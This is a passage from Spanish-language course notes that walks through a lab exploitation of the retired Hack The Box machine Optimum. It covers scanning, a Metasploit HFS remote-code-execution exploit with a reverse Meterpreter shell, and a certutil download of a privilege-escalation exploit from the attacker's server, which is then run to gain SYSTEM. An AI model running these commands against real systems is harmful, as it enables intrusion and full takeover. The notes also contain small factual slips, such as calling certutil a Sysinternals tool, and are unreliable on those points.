dirsearch → Para hacer fuerza bruta de directorios. Fuzzing de directorios.

Imagen 191

Ejemplo real de explotación

Para el ejemplo real vamos a usar:

Una máquina de Hack The Box con Windows.

Es el mejor ejemplo que tenemos para poder practicar esto sin montarnos nosotros un
laboratorio o cometer ilegalidades.

Imagen 192

Página 122 de 141


Lo primero que he hecho es conectarme a la VPN de Hack The Box: openvpn --config
‘FrankyTech(1).ovpn’ (imagen 193).

Imagen 193

(Se hace login en Hack The Box → En Labs se clica en Machines → All y en Retired Machines
estamos haciendo Optium (imagen 194).

Imagen 194

Página 123 de 141


Lo primero que vamos a hacer es lanzar un ping a la máquina una vez que estamos conectados
a la VPN: ping 10.10.10.8 y la máquina nos responde (imagen 195).

Imagen 195

Seguidamente vamos a lanzar un nmap: nmap -sT -sV -sC -T4 10.10.10.8 Del
resultado hay que fijarse en que tiene el puerto 80/tcp abierto

-sT → TCP Scan (Connect Scan)

-sV → Sondear puertos abiertos, para obtener información de servicio/versión

-sC → -sC tiene que ver con Nmap Scripting Engine (https://nmap.org/book/nse-usage.html
/ https://nmap.org/book/man-nse.html). -sC es para enviar los scripts por defecto de la base
de datos de Nmap.

-T4 → -T4 tiene que ver con el control de tiempo y rendimiento. -T4 equivale a agresivo.

10.10.10.8 → El comando se lanza contra la IP 10.10.10.8

Imagen 196

Página 124 de 141


Si nosotros nos vamos al puerto 80 abierto con el navegador, nos encontramos una aplicación
(imagen 197). No tenemos login, pero sí se sabe la versión, HttpFileServer 2.3

Imagen 197

Se busca en Google qué vulnerabilidad puede tener el servicio HttpFileServer 2.3, y encontramos
una ejecución de código remoto (Rejetto HTTP File Server (HFS) 2.3.x - Remote Command
Execution (2) - https://www.exploit-db.com/exploits/39161). Esta ejecución de código remoto
nos vale porque no necesitamos parte autenticada.

También se lanza dirsearch:

Para ello, primero se va a la carpeta donde se tenga dirsearch (imagen 198).

Imagen 198

Página 125 de 141


Y se ejecuta python3 dirsearch.py -u http://10.10.10.8 -e txt,php -w
directory-list-2.3-medium.txt -t 30 (imagen 199), a ver si encontrara, por
ejemplo, algún fichero que fuera interesante. Esta fase siempre hay que hacerla. Hay que hacerla
muy meticulosamente porque, si no, información que nos saltemos, información que luego
podría servirnos a futuro.

Imagen 199

Mientras se ejecuta el proceso de la imagen 200 superior, se va a otra pestaña de la Terminal y


se dice: yo ya tengo aquí abierto Metasploit. Entonces, nosotros vamos a buscar el exploit
rejetto_hfs_exec (con search rejetto), cuyo Name completo es:
exploit/windows/http/rejetto_hfs_exec y cuya Description es Rejetto HttpFileServer Remote
Command Execution.

Imagen 200

Luego, se hace use exploit/windows/http/rejetto_hfs_exec y show options.


Si os fijáis, ya lo tengo aquí configurado, por eso aparece RHOST 10.10.10.8 (la IP víctima; la IP
de la plataforma) y RPORT 80 (en el puerto 80). Y LHOST 10.10.14.13 es mi IP de la VPN.

Página 126 de 141


Imagen 201

Voy a cambiar el puerto, porque tengo una sesión abierta en ese puerto — 4445— y si no va a
fallar. Entonces, se hace set lport 4446

Imagen 202

Página 127 de 141


Luego, para configurar este exploit tenemos que lanzarlo con x64. Funciona también con x86,
pero mejor con x64. Para hacer ese cambio, porque por defecto viene con x86, se hace: set
payload windows/x64/meterpreter/reverse_Tcp

Imagen 203

Una vez que lo tenemos configurado hacemos run. En el vídeo esto falla (imagen 204)…

Imagen 204

… Y, para corregirlo, se para lo que se tenía levantado en el puerto 8080 —python -m


SimpleHTTPServer 8080— (imagen 205).

Imagen 205

Página 128 de 141


Tras esto, se vuelve a ejecutar run y se ve que se abre una sesión Meterpreter (imagen 206).

Imagen 206

Se ejecuta help y se dice: Aquí ya tenemos infinidad de opciones. Tenemos diferentes comandos
que podemos ejecutar o, inclusive, ir a una Shell cmd.

Se ejecuta shell y, a continuación, whoami, viéndose que somos el usuario kostas.

También se hace un dir y se ve un fichero que es user.txt.txt.

Al hacer type user.txt.txt se ve el código a introducir en la plataforma.

Si se hace Control + Z, me pongo en background y vuelvo otra vez a meterpreter.

getuid es lo mismo que he hecho con whoami.

Con getsystem se intenta escalar privilegios a través de un token.

Imagen 207

Página 129 de 141


Con getprivs se ven los privilegios que se tienen (imagen 208).

Imagen 208

A continuación, en el vuelve se vuelve a ejecutar shell…

Imagen 209

…Y, seguidamente, systeminfo, con el que se pueden ver las actualizaciones (imagen 210 y
211).

Imagen 210

Página 130 de 141


Imagen 211

Previamente ya he realizado una enumeración en este sistema. He utilizado el GitHub de Sherlock


—Sherlock/Sherlock.ps1 at master · rasta-mouse/Sherlock · GitHub - https://github.com/rasta-
mouse/Sherlock/blob/master/Sherlock.ps1— que vale para enumerar. Nos permite enumerar
un sistema operativo, y nos va a indicar si tuviera vulnerabilidades o no; principalmente para
escalar privilegios o saber las malas configuraciones que tuviera un sistema operativo.

Esta máquina se puede realizar de 2 formas. En el vídeo se hace Control + Z y sessions -l,
mostrándose 2 sesiones: una en el 4445 y otra en el 4446.

Imagen 212

Página 131 de 141


Metasploit también es una herramienta de posexplotación. Entonces, si yo quisiera enumerar la
máquina también podría hacerlo a través de Metasploit. Hay un exploit que se llama suggester
(Name: post/multi/recon/local_exploit_suggester con Description : Multi Recon Local Exploit
Suggester) que sirve para enumerar la máquina, y nos indicará si es vulnerable a otros posibles
fallos que tuviera para escalar privilegios. Entonces, lo que hay que configurar es la SESSION.
¿Qué sesión? Porque tenemos 2 sesiones (la 4445 y la 4446).

Imagen 213

En el vídeo se usa la 4446, que es la que se está usando. Por tanto, primero se hace un set
session 4, quedando ya macheada (se comprueba con show options). Luego, se hace
run y automáticamente, a través de las vulnerabilidades conocidas que hay para Windows, va
a lanzar una serie de exploits para verificar si nuestro equipo es vulnerable.

Imagen 214

Página 132 de 141


ICA0011-S04-C01-V06 Demo_1_Explotacion Real de un Sistema_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111825)

Siguiendo con la máquina Windows de Hack The Box Optium.

Imagen 215

Habíamos lanzado el exploit para intentar verificar si fuese vulnerable a otro tipo de
vulnerabilidades para escalar privilegios. Se lanza otra vez con run, pero se nos indica que, de
momento, no ha detectado nada.

Si hubiéramos ejecutado el script de Sherlock, automáticamente nos diría que esta máquina es
vulnerable a la vulnerabilidad Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-
098) (https://www.exploit-db.com/exploits/41020). Nosotros nos hemos descargado este
exploit (https://www.exploit-db.com/download/41020 - 41020.c) —habría que compilarlo—,
pero en el enlace https://www.exploit-db.com/exploits/41020 también tenemos el exploit ya
compilado (https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-
sploits/41020.exe - 41020.exe).

¿Cómo vamos a hacer para pasar este exploit a nuestra máquina? Desde la Terminal de la
máquina de Kali Linux se ve que el archivo 41020.exe ya está descargado (imagen 216).

Imagen 216

Entonces, me voy a levantar un servidor web en mi máquina, en el 8080 (imagen 217)…

Imagen 217

Página 133 de 141


… y lo que voy a hacer va a ser, a través de la sesión que yo ya tengo aquí, voy a interactuar con
ella (imagen 218).

Imagen 218

Página 134 de 141


Entonces, ahora me voy a traer el exploit que yo me he descargado aquí (imagen 219) ya
compilado, traerlo a la máquina para poder ejecutarlo y poder escalar privilegios.

Imagen 219

Hay que recordar que soy optimum\kostas. ¿Cómo voy a trasladar el fichero? Se va a utilizar
certutil (imagen 220). certutil es una herramienta de [Sysinternals] que es utilizada para poder
transferir ficheros. Esto cada día está mucho más controlado, aunque sea una herramienta de
Microsoft, porque se puede utilizar para diferentes fines, como por ejemplo descargar un fichero
malicioso y que no sea detectado.

Imagen 220

Imagen 221

Página 135 de 141


Tras copiar el comando, certutil.exe -urlcache -split -f
“http://10.10.14.13:8080/41020.exe” 41020.exe, este se pega en la Terminal
de Kali Linux (donde se está controlando a la máquina víctima), recordando previamente en qué
directorio nos encontramos (C:\Users\kostas\Desktop) (imagen 222).

Imagen 222

Antes de continuar, se analiza el comando certutil.exe -urlcache -split -f


“http://10.10.14.13:8080/41020.exe” 41020.exe:

Si os fijáis, está a mi IP, que es la 10.10.14.13

Imagen 223

Yo tengo levantado un servidor en el 8080, y mi fichero 41020.exe está en la carpeta


Downloads (imagen 224).

Imagen 224

Entonces, “http://10.10.14.13:8080/41020.exe” es la URL donde yo tengo alojado


ese servidor + el nombre del fichero. A continuación, se pone 41020.exe, que es cómo voy a
renombrar el fichero cuando se descargue.

Página 136 de 141


Al ejecutar certutil.exe -urlcache -split -f
“http://10.10.14.13:8080/41020.exe” 41020.exe, se ve cómo aparece el
código de respuesta de estado satisfactorio HTTP 200 OK, que indica que la solicitud ha tenido
éxito.

Imagen 225

A continuación, al hacer un dir se ve que en C:\Users\kostas\Desktop aparece el fichero


41020.exe (imagen 226). O sea, que se ha transferido desde mi máquina a la máquina víctima.

Imagen 226

Volvemos a recordar: se hace whoami y ¿quiénes somos? Somos kostas.

Página 137 de 141


Imagen 227

Pero yo no tengo acceso a Administrator (imagen 228).

Imagen 228

Se vuelve a C:\Users\kostas\Desktop, donde se encuentra el fichero 41020.exe. Se ejecuta


41020.exe. A continuación, se hace whoami y ahora soy nt authority\system. Con esto, yo ya
he escalado privilegios en esta máquina.

Página 138 de 141


Imagen 229

Al hacer whoami /priv, se ven los permisos que se tienen (imagen 230).

Imagen 230

Página 139 de 141


Si estuviéramos en un dominio intentaríamos ser administrador del dominio; podríamos
intentar [¿dumpear?] las credenciales.

Se ve que ahora ya se tiene acceso a Administrator (imagen 231).

Imagen 231

Página 140 de 141


Con esto lo que quiero demostrar es que podemos usar diferentes herramientas, tanto desde
Metasploit, como ejecución de exploits a través de Metasploit o manualmente.

Aquí hemos accedido a la máquina a través de Metasploit, hemos obtenido luego un


Meterpreter con diferentes funcionalidades, hemos hecho una recon (reconocimiento) previa.
Yo lo había hecho con otras herramientas previamente, pero el vídeo se iba a demorar mucho.
Os recomiendo que probéis la herramienta de Sherlock/Sherlock.ps1 at master · rasta-
mouse/Sherlock · GitHub (https://github.com/rasta-
mouse/Sherlock/blob/master/Sherlock.ps1), que viene muy bien para enumerar un sistema
operativo.

Y, posteriormente, hemos detectado la vulnerabilidad Microsoft Windows 8.1 (x64) - 'RGNOBJ'


Integer Overflow (MS16-098) (https://www.exploit-db.com/exploits/41020), que nos afectaba
porque no se había parcheado el sistema operativo, y hemos conseguido escalar privilegios en
la máquina.

Indicar que la plataforma Hack The Box es la mejor forma que tenemos de practicar, conocer y
explotar diferentes vulnerabilidades reales que nos vamos a encontrar día a día. Por eso os
recomiendo que utilicéis esta plataforma para disfrutar y aprender.

Página 141 de 141

También podría gustarte